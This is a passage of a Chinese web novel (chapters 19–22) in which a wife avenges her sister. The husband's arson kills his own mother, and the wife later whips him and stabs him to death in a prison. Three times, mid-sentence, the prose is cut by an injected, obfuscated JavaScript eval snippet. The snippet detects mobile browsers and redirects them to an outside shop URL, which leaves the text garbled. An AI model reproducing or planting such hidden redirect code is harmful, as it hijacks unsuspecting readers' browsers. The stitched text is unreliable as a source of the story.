她早上醒来,听到的头一件事便是秋闲居起了大火,不曾见有人逃出来。 她心里一哆嗦,猛地想起老夫人,赶紧跑到内屋。 老夫人不在,床榻是凉的。 她心知不妙,一路惊慌失措地跑来。 入目的灰烬让她的心彻底凉了。 卫婕楚惊得忘了用帕子掩口鼻。 “你昨晚把老夫人自己扔在了秋闲居?” “都是老奴的错,老奴该死,老奴该死!!!”嬷嬷匍匐在地,除了认罪,别无他法。 谢纲怒火中烧,猛地一脚踹出去。 嬷嬷被踢出去几丈远。 谢纲转身,大声吼道:“找,都给我找!” 小厮和丫头们更加卖力,弯腰低头去翻找。 有小厮举起一辆半残的轮椅,“将军,这里有辆轮椅。” 他没敢说是老夫人用的轮椅。 可放眼整个侯府,能用上轮椅的只有老夫人。 谢纲眼前发黑,硬撑着吼道:“再找。” 两名小厮抬出了一具焦黑的尸体,轻手轻脚放到谢纲跟前。 谢纲蹲下身子。 卫婕楚眼尖,指着尸体手腕上的镯子,“将军,这镯子……” 后几个字她没敢说。 是老夫人的。 谢家祖传的镯子,老夫人从不离身。 谢纲盯着那只手镯。 眼眶越来越红。 猛地低头。 一口鲜血喷溅出来! 19. 第 19 章 谢纲脸色铁青,一双眼睛似要喷出火来,他大喊道:“来人哪,把她拉下去,重杖一百大板!” 一百大板? 那不就打死了? 嬷嬷浑身颤抖,脑袋一下一下重重磕地,“将军饶命,将军饶命!” 早有人上来,一左一右,跟架死狗一样把嬷嬷架了下去。 一板一板,噗噗的声音传来。 嬷嬷惨叫不止。 声音越来越弱,直至后来没了声音。 有小厮上来,声音弱弱地禀报:“将军,人已经死了。” 一条鲜活的生命,说没就没了。 其他小厮和丫头吓得噤若寒蝉的。 谢纲眼睛盯着前方的灰烬,声音森寒,“还等什么呢,赶紧翻找,把所有尸骨给我抬过来。” 他要让崔氏等人为母亲陪葬。 卫婕楚吓得脸色泛白,呆呆立在那里。 事情变化出人预料。 老夫人此前从不来秋闲居。 可早不来晚不来,偏偏昨晚来。 早知道,就给老夫人通个气了。 可谁又能想到呢。 谢宛宛闻听消息,失魂落魄地跑来,当确认是母亲的尸首之后,放声嚎哭。 “母亲,母亲!” 一个时辰后,丫头、小厮们几乎将秋闲居翻了个遍,一个个浑身黢黑地跑回谢纲跟前。 谢纲瞧着两手空空的他们,沉声发问:“没找到其他尸骨?” 小厮们喏喏回答:“没有。” 卫婕楚拽拽谢纲的胳膊,“许是,许是火势太猛,被烧成了灰烬也说不定。” 谢纲盯着地上母亲焦黑的身形,咬牙切齿:“不可能!” 同样身居火海,母亲还剩副躯壳,崔氏和那些下人,怎么可能全部烧成了灰? 正当他疑惑不解之际,斜后方传来崔朝雪淡淡的声音:“夫君,发生何事了?” 谢纲瞳孔震动,缓缓转头。 卫婕楚则如同见了鬼似的,惊恐莫名地转身。 当看清崔朝雪以及她身后的一众奴仆之后,卫婕楚忍不住“啊”了声,她用手指着崔朝雪,声音哆哆嗦嗦:“你,你是人还是鬼?” 如愿看到谢纲吃瘪的表情,崔朝雪内心倍感愉悦,她装出一副无辜的样子,“怎么,我哪里长得像鬼了?我这不是好好的站在你们面前吗?” 她转向化为乌有的秋闲居,露出惊讶的表情:“怎么回事?我的院子起火了?” 昨晚,天黑透了之后,她便和众人关了秋闲居的院门,一并转去了后院。 后院少有人去,是以他们窸窸窣窣的动静也没什么人发现。 转去之后,大家伙便各回各屋休息。 崔朝雪和几个丫头坐在屋内聊天。 身子变沉之后,她变得贪吃。 这正吃着香甜的美食,就听到阿红来报。 “夫人,秋闲居起火了。” 崔朝雪一听便来了劲头,让知雪搬了凳子,她坐在院子当中欣赏着蹿天的火光。 “火势这么大这么猛,有人去救火吗?” “没有。” “这谢纲还真是想置我于死地啊。” “幸亏夫人英明,早有打算。” 崔朝雪舒服地躺在椅子里,“这会儿,谢纲和卫婕楚肯定兴奋坏了,止不定主意打到了隆县,说不定装银子的马车都准备好了,就等着去隆县搜刮。” “我很期待明天早上他们见到我的表情。” 这会儿真见到谢纲惊悚吃惊的表情,崔朝雪心里乐开了花。 但面上还得故作镇定,装出一副一无所知的模样。 谢纲心沉入谷底,冷声问道:“昨晚你去了哪里?为何不在秋闲居?” 他得多希望她死?看到她活着没有半丝庆幸不说,反倒质问她为何不在秋闲居里。 崔朝雪淡淡道:“近几日秋闲居空气不好,我搬到了最后面那处闲置的院子里,怎么,卫姑娘没跟你说吗?” 有天晚上,她往那儿走的时候,的确是遇到了卫婕楚,但后者完全不搭理她,扭着身子就走了。 崔朝雪故意这个时候说出来,一副你明知我不在秋闲居为何要质问的样子。 谢纲现在脑子纷乱。想害崔朝雪不成,却害死了自己的母亲。 这是多么荒谬的事情。 他看向卫婕楚,“你知道?” 卫婕楚也知道这事儿错得离谱,慌忙摆手,“我不知道,一点儿也不知道。我遇见她的时候,只以为她是晚上出来闲晃的。” 哪会想到她会搬到别处去住? 偷鸡不成蚀把米。 蚀得还不是一般的米。 蚀得是老娘的一条命。 谢纲现在肠子都悔青了。 早知今日,昨晚无论如何他都会叮嘱母亲一番。 可现在说什么都晚了。 他怒视着好端端站在自己跟前的崔朝雪,忽然咆哮:“崔氏,你置母亲被大火烧死,你可知你犯的是大不敬之罪?” 崔朝雪还不知道老夫人被烧死了,闻听之后不由得一愣:“什么?你母亲被火烧死了?” 她探头往谢纲身后瞧了眼,那具焦黑的尸骨令她惊讶地捂住了嘴,她往前两步,再仔细看了眼,神色茫然地抬头:“你确定这是你母亲?” 面目全非黢黑的尸骨,她压根看不出是老夫人。 谢宛宛绷不住,用手指着崔朝雪:“你说什么混账话呢,看这镯子,看这断掉的手骨,肯定是母亲无疑。你在谢家三年,竟对母亲不管不问,连这些细节都不清楚。” 老夫人年轻时右手受过伤,小指指骨断掉,多少年了,一直那样。 只有玉镯有可能弄错,可再加上残缺的小指骨,万不可能出错的。 不过,谢宛宛还真是说对了。姐姐崔晚柠兴许知道一二,崔朝雪还真是不清楚。 不过听罢谢宛宛的控诉,她愈发不理解:“不是秋闲居起火了吗?老夫人怎么会被烧死?” 从她来侯府,老夫人可一步也没踏进过秋闲居。 这怎么到起火了,她偏偏来了? 上赶着来送命的? “都这个时候了,你还狡辩?不是你让老夫人来的还有谁?”谢纲目光狠厉,“你分明是蛇蝎心肠。” 崔朝雪冷笑:“这真是害人终害己,秋闲居的火如何起的,怕只有将军您心里最清楚吧。结果却是害了你母亲的一条命。你自己担不起这个不孝不敬的罪名,反倒要扣到我的头上。我就想问你了,猛火油是我派人去买的?是我往自己院子四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080953|148433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周倾倒的猛火油?是我自己故意起的火?” “你母亲是我能指派动的?我让她来她就来?我专门等着她来,然后放火把她烧死?这么弯来绕去的,不麻烦么?你用你的脑子想想,你说的话有一丝的道理?” 卫婕楚帮腔:“你不用在这里找理由,老夫人死在你的院子是事实,你必须负责。” 谢纲:“对,我马上报官。” 贼喊捉贼! “原来谢将军买的猛火油,竟是这样的作用。” 一道清冷低沉的声音传来。 众人不由得回头,见到来人后,纷纷跪下。 “见过太子殿下!” 胥宸目色冰冷,双手负于身后,轻轻踱步上前,“孤刚刚得知,谢将军买了大量的猛火油,特意赶来询问谢将军要将之用在何地。未曾想却是弑母!” 弑母大逆不道,会被处死。 谢纲慌了,“殿下,臣母死亡是意外,臣绝无弑母之心,还请殿下明查。” 胥宸却不给他更多的解释机会,“来人哪,谢纲弑母,将其押入大牢。” 几名侍卫上前,不容谢纲分辨,将其五花大绑押走。 谢宛宛吓得忘了哭,呆呆地跪在那里。 卫婕楚也吓懵了。 神色茫然,眼睛无神。 崔朝雪则淡淡盯着谢纲被狼狈押走的背影。 直到看不见了,这才转回头,向胥宸磕头:“殿下英明。” 她的靠山为他撑腰来了。 胥宸往前几步,慢慢立于崔朝雪面前。 似有若无的栀子花香飘散在他的鼻端。 他回头望了眼似一片废墟般的秋闲居。 “这里,是不是种了很多的栀子花?” 莫名其妙的问题。 崔朝雪表情茫然:“殿下指的哪里?”她仔细想了想,“侯府,并没有种植栀子花。” 胥宸淡淡地“嗯”了声。 谢纲被抓入狱,老夫人的丧事还得办。 谢宛宛茫然无措的。 崔朝雪不好弃之不顾。 便和族中长老一起,勉强操办了后事。 丧事办完,族长把谢家人全叫到一处。 “侯夫人,你现在怀有谢家子嗣,自然是离不了谢家的。所以,这侯府,还是得你当家做主。” 他知道崔朝雪想和离,可现在谢纲入狱,老夫人离世,谢宛宛一个姑娘家如何撑得起整个侯府?卫婕楚名不正言不顺的,一切还得靠崔朝雪。 没了谢纲,卫婕楚翻不出什么浪花。 离不离开侯府,对崔朝雪来说,好像变得不那么重要。 她故作为难地思虑了一会儿,勉强答应了。 交出去的钥匙和账本,重新回到了她的手上。 晚上,她正坐在灯下翻阅账本,阿姹进来禀报。 “有谢将军派人买猛火油的事实,谢将军弑母之罪成立,不日便要被问斩。您让人传出去的消息,都已传遍大街小巷。老夫人瘫痪后,性情乖戾,屡遭谢将军嫌弃,府内经常传出争吵,谢将军早有弑母之心。” 传不传消息,谢纲都是死路一条。可崔朝雪考虑到太子,怕有人因此诟病,所以往里头添点儿料。 拿太子当靠山不假,但也得为靠山多加考虑。 20. 第 20 章 “如此说来,前些日子咱们费的那些个心思,真就派不上用场了。” 崔朝雪不无遗憾地说道。 谢府捉襟见肘,谢家人少不得到秋闲居里偷摸拿的。崔朝雪可没那么好心,便让人在酒里下了药,比之给太子的药量还重了几分。别说菩萨显灵,就是神仙扎堆也帮不了谢纲,彻底绝了他以后有子嗣的可能。 谢纲还不知道自己绝了嗣便要上断头台。 不过话说回来,快要死的人了,绝不绝嗣的,似乎并不是那么重要。 她们这厢正八卦着,谢宛宛哭哭啼啼地闯了进来。 一进来便跪到了崔朝雪跟前。 “嫂嫂,嫂嫂,求求你,快救救兄长吧。” 她哭得鼻涕一把泪一把,完全失却了往日高傲的样子。 “嫂嫂,千错万错都是我们的错。求您看在未出世孩子的面子上,救救兄长吧。” 母亲去了,若是兄长再没了,她谢宛宛便会从云端跌落到尘埃。 凄苦可怜。 “嫂嫂,以往都是兄长不对,如果你不喜欢卫姑娘,等兄长出来后便将她赶走,再也不让她碍嫂嫂的眼。往后,这侯府都是嫂嫂说了算,嫂嫂说什么就是什么。” “嫂嫂,求求您了,求求您了。” 谢宛宛咚咚磕头,边磕边哀求。 很快,白皙的额头便渗出血来。 她是真心在求。 这个小姑子虽然平常骄纵了些,但对于姐姐的伤害相对轻一些。 崔朝雪眼帘撩起,“你先起来吧。” 谢宛宛惊喜抬头:“嫂嫂,你这是答应了?” “谢纲弑母,我一个后宅夫人,哪里有那么大的能力,说救就能救的?” 谢宛宛眼神殷切,“太子看重嫂嫂,只要嫂嫂真心去求,相信太子殿下会帮哥哥一把的。” “你兄长毕竟也是我腹中孩子的父亲,我不可能见死不救。但他罪名太大,我力不从心。”崔朝雪顿了下,“不过,我倒是可以使银子打通关节,你可以带着你兄长的好友去狱中探望。” 谢宛宛眼睛亮起,“去狱中探望?” 她的确想见见兄长。 到狱中探望这点儿小事,连太子殿下都不用求,安公公就帮着办妥了。 谢宛宛领着卫婕楚,还有谢纲的副将苏子实在深夜时分赶到了地牢。 谢纲已被折磨得奄奄一息,身上衣衫破烂,血迹斑斑,眼神呆滞,似是苍老了二十岁。 卫婕楚几乎认不出他来,只会无声地流泪。 谢宛宛见到哥哥的样子心如刀绞,哭着去抱他,“兄长,你受苦了。” 苏子实眼眶泛红,哽咽道:“将军……” 他有心无力,不知道说什么好。 如果可以用自己的命换谢纲的命,他会毫不犹豫。 可惜,不能。 谢纲有气无力:“你们来做什么?都回去好好待着。” 母亲的确是自己害死的。 他去阴曹地府陪母亲,是罪有应得。 谢宛宛泪水涟涟,“兄长,你别急,我这就回去哀求嫂嫂,哪怕把头磕破了,也会哀求她。让她到太子面前为兄长求情。” 想到兄长会受苦,可没想到会受这么大的苦。 谢宛宛后悔,后悔向崔朝雪磕头时没有更虔诚。 若是自己流点儿血能换回兄长的命,那也是值得的。 兄长一直是健壮的,强大的。 不应该是现在这副将死的样子。 她小心伸手在兄长身上探摸,“兄长,你都哪里受伤了?我这就回去找最好的伤药送进来。”她回头,冲着苏子实吼,“你不是会诊脉吗?快过来帮兄长看看。” 谢纲无奈,“我是将死之人,伤不伤的算什么?” 苏子实忙上前,拉过谢纲的手腕。 他安静了好一会儿,把谢宛宛急得不行,“我兄长的身体状况倒底如何了,你快说句话啊。” 苏子实表情迟疑:“其实,也没什么。” 与生死相比,绝嗣,还真不是什么大事儿。 谢纲安抚地拍拍妹妹的手,“别这样,我身上都是些皮外伤,的确是没什么。” 他对自己的身体状态还是了解的。 多处外伤,养护不足,自然是身体虚弱。 谢宛宛不依,“不对,一定还有别的。” 苏子实不擅长撒谎,那支支吾吾的样子。 分明就是有事。 谢纲看向苏子实,“都这个时候了,有什么是不可以说的?如果我真有什么大病,说出来便是。” 对现在的他来说,大病小病的,似乎没什么妨碍。 左不过一个死罢了。 他已经做好了心理准备。 苏子实在众人探究的目光中,犹犹豫豫地说道:“将军,将军似是被人下了绝嗣药。此生怕是难有子嗣。” 谢纲闻言目光一凛,看向从进来到现在一直在小声抽咽的卫婕楚。 苏子实是他最忠心的副将,他怀疑谁也不会怀疑苏子实。 自己若是被人下绝嗣药,那卫婕楚腹中的胎儿打哪儿来? 卫婕楚慌乱地摆手,“我不知道,我什么都不知道。” 苏子实:“将军,这绝嗣药是何时下的不清楚,兴许是卫姑娘怀孕后,也说不定。” 谢纲半信半疑。 谢宛宛瞠目:“谁会这么恶毒,给兄长下绝嗣药?” 谢纲磨牙:“还能有谁,一定是崔氏那个毒妇!”他目眦欲裂,“我要杀了她,我要杀了她!” 他自己都身陷囹圄了,还挂着杀人。 可见恨意有多深重。 谢宛宛拉住谢纲的胳膊,“兄长,这个时候只有她能救你。要杀,也得你走出牢狱大门才行啊。” 谢纲何尝不知? 他像抓住救命稻草一样抓住苏子实的胳膊,“子实兄,我这条命怕是不成了。可你尚在,若是有机会,帮我,一定要帮我。” 苏子实眼眶含泪,重重地点了下头。 ~ 对于太子殿下的深夜造访,崔朝雪很是惊讶。 可惊讶也只是一瞬,她思及谢宛宛带人去狱中探望兄长,心下便有些了然。 想必殿下是知道,所以才突然造访吧。 崔朝雪将胥宸迎到正厅,待其坐下后,她亲手奉上茶水。 “对于殿下的帮助,臣妇感激不尽,殿下,请喝茶。” 胥宸淡淡接过茶盏,送到嘴边,轻轻抿了口。 眼神似有若无地拂过她微微隆起的小腹。 “谢夫人身体可好?” 太子竟然问候自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14091456|148433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的身体,崔朝雪有点儿心虚,“谢殿下挂怀,挺好的。” “毕竟,谢纲是你腹中孩儿的父亲。”胥宸放下茶盏,“此前你让孤帮你复仇,孤也的确将谢纲押入大牢。可他若是死了,你腹中孩儿便没了父亲。所以,孤再来问你最后一次,你,希望他死还是希望他活?” 崔朝雪没想到胥宸会有此一问。 神色怔然地抬头。 蓦然撞入他深色的瞳孔里。 她飞快低头,毫不犹豫地说道:“我希望他死。” 她知道太子的好意,特意给了她再一次选择的机会。只要她同意,太子便会将人从大牢里放出来。若她主意不改,便会照原计划送他上路。 是死是活,只在她一念之间。 崔朝雪恨他,让他死一百回都不解恨,怎么可能给他机会活? 她希望他下地狱,去向姐姐赔罪。 胥宸淡淡看着她:“当真不改了?” “不改了。” 胥宸再次喝了口茶,“没想到谢夫人如此坚决。” “这种背信弃义的男子本就该死。”崔朝雪神情激动,“他若是做不到对妻子一心一意,那便不要随意许下诺言。既许了,便要努力做到。若是做不到,大可以坦然向妻子承认,放彼此一条生路。” “而不是如他这般,一边用妻子的钱养外室,一边给妻子下毒,待妻子身体枯竭之际,他再提出休妻之事。妻子落得个悲惨的下场,他则恬不知耻地享受着妻子的嫁妆,过他的快意人生。” “这种行为,令人不齿。殿下放心,无论到何时,臣妇绝对不会后悔今时今日的选择,永远不会。” 胥宸静默一瞬,“你不后悔便好。”停了会儿,他又说道,“谢夫人性格特别,倒是像极了孤的一位旧友。” 崔朝雪不知道他为何如此说,没有答腔,只悄悄观察着他的表情。 胥宸自顾往下说:“她也曾对孤说过,希望和有情有义的男子,一生一世一双人。” 崔朝雪心里咯噔一声。 胥宕:“若是遇到心仪之人,一起走过这漫长的一生,应当是不错的。” 崔朝雪含胸低头。 彻底降低自己的存在感。 若是被太子殿下发现,旧友就在跟前。 止不定会雷霆震怒吧。 “谢夫人,你认为呢?” “……” 崔朝雪哆嗦了下。 太子此时提起自己,不知道是怀念,还是憎恨。 用旧友来形容自己?难道是怀念大于憎恨? 可绝嗣这种事情? 她喏喏开口。 “太子心怀天下,自然是不会被儿女情长的小事所牵绊。” 他谈论这个话题令她惴惴不安的。 “人这一生,说短也短,说长也长。孤自当是心怀天下,为天下苍生竭尽全力。可若是,”他停了一瞬,忽然转了话是,“谢夫人从哪里买的香?” 香? 崔朝雪懵住,她抬起袖子,轻轻嗅闻了下,“殿下,臣妇,不擅用香。” 胥宸眉头皱了下,“你身上难道不是栀子花香?” “栀子花香?”崔朝雪喃喃重复,“好像有人说过,臣妇身上的味道肖似栀子花香。” 她之前听人提到过,但她自己嗅闻不出。 21. 第 21 章 胥宸探究的眼神在崔朝雪的脸上慢慢扫过。 须臾,他微微摇了下头,“是孤,闻错了。” 眼前的崔朝雪是侯府夫人,已成亲三年多,而与他有肌肤之亲的女子,是初次。 他大抵是想多了,才会生出如此荒谬的念头。 而距他仅半丈远的崔朝雪,此时已汗意涔涔。 差一点儿,她以为自己要被发现了。 胥宸移开视线,“谢夫人,你现在有大仇得报的满足感吗?” 她说过,找他,是寻求一份庇护。 为的是报复谢家人。 现在,谢老夫人被烧死,谢纲不日便要上断头台。 说起来,这仇应该算是报了吧。 崔朝雪闻言一怔,“臣妇似乎还有些许的遗憾。” 胥宸:“什么遗憾?不妨说来听听。” 思及姐姐死去的模样,崔朝雪闭了下眼,“我想,亲手杀了他。” 亲手杀了他,方解心头之恨。 “既如此,孤满足你。” 崔朝雪怔怔抬眸。 胥宸脸上没什么表情,淡淡重复道:“孤,满足你这个愿望。” 片刻后,崔朝雪在胥宸的带领下,来到了地牢。 在门口处,胥宸停下,“孤已派人将谢纲五花大绑,任由你处置。” 崔朝雪似是有点儿不信:“臣妇,可以杀了他?” 胥宸面色不变:“你尽管做,有孤为你撑腰。” 为自己撑腰? 崔朝雪愣愣地看着胥宸清冷的面容,只觉这一刻的他,似一座厚重的大山,给了她无尽的依靠。父母去世时,她的天塌了一半,亲眼看着姐姐离世,她的世界直接支离破碎。 没有亲人的陪伴,活着与死了,似乎区别不大。 这样的心境下,她不惜让自己怀孕,替代姐姐回到谢家,为的只是报复。 正如秦叔所说,代价实在是太大。 这一刻,她特别想哭。 想扑到胥宸怀里,好好哭一场。 潮意漫涌到眼眶里,她迅速偏头,拼命抑住了。 她告诫自己,他是太子,不是自己的亲人。 他做自己的靠山,是看在银两的份上。 她冲胥宸福了福身子,“多谢殿下。” 她转身,挺胸胎头地往牢里走。 谢纲被花五大绑,缚在一根粗壮的木桩上。 抬头看到走进来的崔朝雪,他目露凶光,恶狠狠地喊:“崔氏,都是你这个毒妇害的,都是你害的。” 他对相伴三年的妻子,除了责难,还是责难。 崔朝雪在离他几步远的地方停下。 姹紫嫣红四名女侍站在她的身后,冷眼瞧着毫无还手之力的谢纲。 谢纲恨恨地质问:“你来这里做什么?是来看我的笑话的?” 崔朝雪冷冷看着他,“我来,是想问你,当初你到崔家求娶我的时候,是不是说过,要一生一世对我好?” 她是替姐姐发问。 曾经的海誓山盟,都不作数吗? “真是可笑,试问天下男子,哪个不是三妻四妾?除非连饭都吃不饱的,没钱娶妻娶妾。” “这么说,你当时并不喜欢我,一切都是敷衍之词?” “要不是看在崔家钱财的份上,我堂堂将军,怎么可能自降身份娶你一个商户女?那些说辞,只不过是应付你和你父母罢了。我若不这么说,你那迂腐的父母又怎么舍得把你嫁给我?” 都到这个份上了,谢纲没什么好隐瞒的。 “那时候,你便在外头给卫婕楚买了宅子?” “错,求娶你的时候,我只是在外头给婕楚租了处院子。将你迎进侯府之后,我才用你的银两给婕楚买了宅子。” 他们的富贵生活,都是建立在崔家的钱财之上。 “你既然将我娶进门,为何不实话实说?你有心上人,你可以讲明白。” “我讲明白?讲明白,你不就吵着和离,吵着要带你的嫁妆走?” “所以,为了你的心上人,你就给我喝避子汤?想尽法子不与我同房?” 谢纲振振有词,“我说过,我不喜欢你。你简单、无趣,哪有婕楚娇媚诱人?我不愿与你同房,不希望你有我的子嗣。自然是要给你喝避子汤。” “避子汤伤我身子,你也完全不考虑?” “我为何要为你考虑?” “我帮你照顾妹妹,伺候瘫痪在床的母亲,哪怕看在我为谢家人辛苦劳累的份上,你都不能为我考虑半分?” 谢纲大言不惭,“照顾妹妹,伺候婆母,这是你的份内事。” “为了我的嫁妆,你不惜放火烧死我?连我腹中的胎儿都不管不顾?” 明面上,她肚子里的孩子姓谢,于情于理,谢纲应该考虑才是。 谢纲冷笑:“我不喜欢你,更不喜欢你肚子里的孩子。你们的死与活,我为什么要管?”他语气恶狠狠的,“要不是你,我母亲哪至于被烧死?我没有弑母,我母亲是被你害死的,你才是罪魁祸首。” 他眼睛望向外头:“来人哪,来人哪,这个贱妇方才已经承认了,我母亲是被她杀死的。我没有弑母,我没有罪,没有罪!” 他歇斯底里的声音在大牢里回荡。 可任他喊破了喉咙,却无一人前来。 这就是姐姐满心满眼喜欢了三年多的男人。 无情,无耻。 狼心狗肺,丧尽天良,恬不知耻。 无可救药!!! 崔朝雪淡淡向前迈了两步,猛地抬手。 啪啪! 狠狠扇了他的脸。 谢纲表情狰狞,“你,你敢打我?” 啪啪! 又是两下。 谢纲被打得眼冒金星,“你,你这个毒妇!” “向我道歉!”崔朝雪冷冷看着他。 谢纲龇牙咧嘴,“你,休,想!” 崔朝雪朝后伸手,阿姹将一把尖刀放到了她的手上。 她举起刀,轻轻靠近谢纲的脸,“道歉。” 谢纲愣住。 他在思量,她敢不敢动刀。 下一瞬,刀尖自他的额头轻轻滑下。 刀尖锋利。 殷红的血涌了出来。 刀尖在他的下巴处停下。 崔朝雪抬起手。 刀尖还在滴血。 她面色平静,“道,歉!” 痛楚令谢纲的表情扭曲。 血色弥漫他整张脸。 他嘴巴哆嗦,表情是震惊和难以置信的,“你,你怎么敢?” 手无缚鸡之力的女子,对他动了刀,划破了他的脸。 “我有什么不敢的?”崔朝雪声音拔高,“你,谢纲,简直就是一个畜牲。你骗了崔家,骗了崔晚柠,你们用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14100108|148433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着崔家的,吃着崔家的,到头来却要害死我和腹中的孩子。你,连畜牲都不如!” 姐姐用心照顾了谢家三年。 换来的是什么? 是满身的伤病与痛楚。 她伸出另一只手,阿紫递上来一根鞭子。 她退后几步,猛地甩鞭。 直接甩在谢纲震惊莫名的脸上。 有血自他的鼻孔处喷涌而出。 啪! 又是一鞭。 还是抽向了那张面目丑陋的脸。 鲜红的血糊满了他的脸,滴滴答答地往下淌。 他气得大吼,“说,是谁把你放进来的?本朝不允许对犯人滥用私刑,”他吐出一口鲜血,“你,你找死。” 死到临头了,还死鸭子嘴硬。 崔朝雪满身恨意,扬起鞭子,啪啪开抽。 一鞭一鞭,每一鞭都倾注了她的恨意。 若是没有遇见他,姐姐现在定还好好地活着。 而不是躺在冰冷的泥土里。 头几鞭,谢纲勉强能忍住。 到后来,他疼痛难忍,终是松了口。 “别打了,别打了,我道歉,我错了。” 鞭子还是毫不留情地袭来。 谢纲疼晕过去。 崔朝雪停下鞭子,呼呼喘气,“来人,用冰水将他泼醒。” 阿红迅速跑去地窖,提来一大桶冰水。 一盆冰水泼下去。 谢纲牙齿打颤地睁开眼睛。 崔朝雪的鞭子再次扬了起来。 血糊住了谢纲的眼睛。 他视线模糊。 四肢似乎脱离了身体。 他惊骇莫名的。 终于意识到眼前的崔氏,是冷血无情的。 他不管不顾地大喊:“我错了,我错了,求求你,饶过我吧,饶了我吧!饶了我,我当牛做马报答你。让我做什么都可以。” “饶了我吧,饶了我吧……” 晕过去了,用冰水泼醒,继续打。 崔朝雪不知疲倦,就一直地挥鞭,挥鞭。 响彻地牢的,是噼啪的鞭子声。 阿姹担心,忍不住上前提醒,“夫人,您怀有身孕,若不然,让奴婢来吧?” 伤了谢纲不怕,她怕伤了夫人和孩子。 崔朝雪顿住,重重呼吸几口。 “不用,我,我非得亲手了结了他不可。” 她喃喃道,“我要杀了他,亲手杀了他。” 她手抚向自己的小腹,那里有两条鲜活的生命。 阿姹说得对,她不能伤了他们。 她扔了鞭子,捡起刚才挥鞭时扔到地上的尖刀。 走到谢纲近前。 谢纲身上血肉模糊。 脸肿成了猪头。 估计老夫人在此,也断不会认出眼前人是她儿子吧。 谢纲此时完全被打服了,他透过模糊的血渍,隐隐瞧着有人站到自己的面前。 他不确定倒底是不是崔朝雪。 只一味地求饶。 “饶了我,饶了我,饶了我……” 声音颤抖、惊恐、可怜。 崔朝雪慢慢靠近他的耳边,一字一顿地说道:“去,死,吧!” 她一刀刺进了他的喉咙。 血流如注。 谢纲脖子无力地耷拉下来。 死了。 22. 第 22 章 崔朝雪毕竟怀有身孕,畅快淋漓地发泄一通之后,身体便泄了力,软绵绵地倒了下去。 姹紫嫣红还未来得及上前,一道墨色的影子便疾速飘近,在崔朝雪倒地之前,稳稳地接住了她。 姹紫嫣红都愣了。 神色莫名地看向自己的主子。 太子殿下。 胥宸轻轻将人抱起,淡淡瞥了眼谢纲的尸首,冷冷吩咐:“把他处理了。” 崔朝雪感觉自己做了一个悠长的梦,梦里,她一个人孤独地在森林里行走,害怕、慌张。有猛蛇靠近,她慌急中拽下一根树枝,胡乱击打。 可打死一只,又蹿出来另一只。 她害怕极了。 唯有更拼命去打。 她心中只有一念头,不是它们死,就会是自己死。 蓦地,一只有力的大手覆了过来。 周遭一片寂静。 可怕的蛇都消失了。 她感觉到了无比的心安,似抓救命稻草一般,狠狠地攥紧了那只手。 那只手似要撤离。 她慌了,嘴里大声喊道:“救我!” 人便醒了。 她眼神懵滞,呆呆看向眼前的男人。 仿佛不认识他一般。 胥宸看到人醒了,眸色动了动,嗓音暗沉,“你醒了?” 崔朝雪后知后觉反应过来,她眼神望向窗外,夜色黑漆漆的,屋内烛火昏黄,周围寂静无声,屋内只有她和胥宸。 她还紧紧攥着他的手掌。 回过神来的崔朝雪脸颊羞红,神色慌乱地松开手,一边坐起一边道歉:“殿下,是,是臣妇冒犯了。” 她只记得自己在狱中冲着谢纲发狠,却不知自己是怎么回来的。 又是如何把太子拽扯在身旁的。 他是太子,她是侯府夫人。 深更半夜,两人同处一屋。 不合适。 胥宸慢慢收回近乎麻木的右手,“昨晚,谢夫人昏迷,”他微微顿了下,“孤将你送回。你睡了一天。” “一天?”崔朝雪表情愣愣的。 她还以为顶多过了一两个时辰,没想到已是第二天的晚上。 她口吃地问道:“殿下,在这里,待了一天?” “你拽着孤的手不放,”胥宸淡淡陈述事实,“孤便陪在这里了。” 崔朝雪又是愧疚又是懊恼的。 胥宸是自己的靠山,有他在,自己才得了机会报复谢纲。 他是太子,公务繁忙。 自己却拽扯了他一天。 她眼神扫到他的右手手背,上头竟然有两道深深的印痕,她惊呼一声拽过来,“这,这是我掐的?” 睡梦中,她手下没个分寸。 竟把人掐得这么狠? 胥宸神色淡淡的,“无妨。” 印痕很深,红里泛着紫。 崔朝雪心里的愧疚更深了几分。 她怎么能这么胡来呢。 她松了手,赤足跳下榻,连鞋子也没穿,几步奔到箱笼旁,细细翻找之后,找到一盒药膏。 走回来,弯腰。 细细抹到胥宸的伤处。 表情认真地抹完,接着便后退一步跪下。 “殿下,都是臣妇的错。” 她是真心认错。 她对胥宸犯下的错可不只这一个。 掐伤她可以挽回,可绝嗣之事,她有心无力。 胥宸瞧了眼地面。 已是初冬,凉意明显。 她跪在那里,怕是…… “地上凉,谢夫人还怀着身孕,赶紧上榻吧。” 他声音难得地柔和。 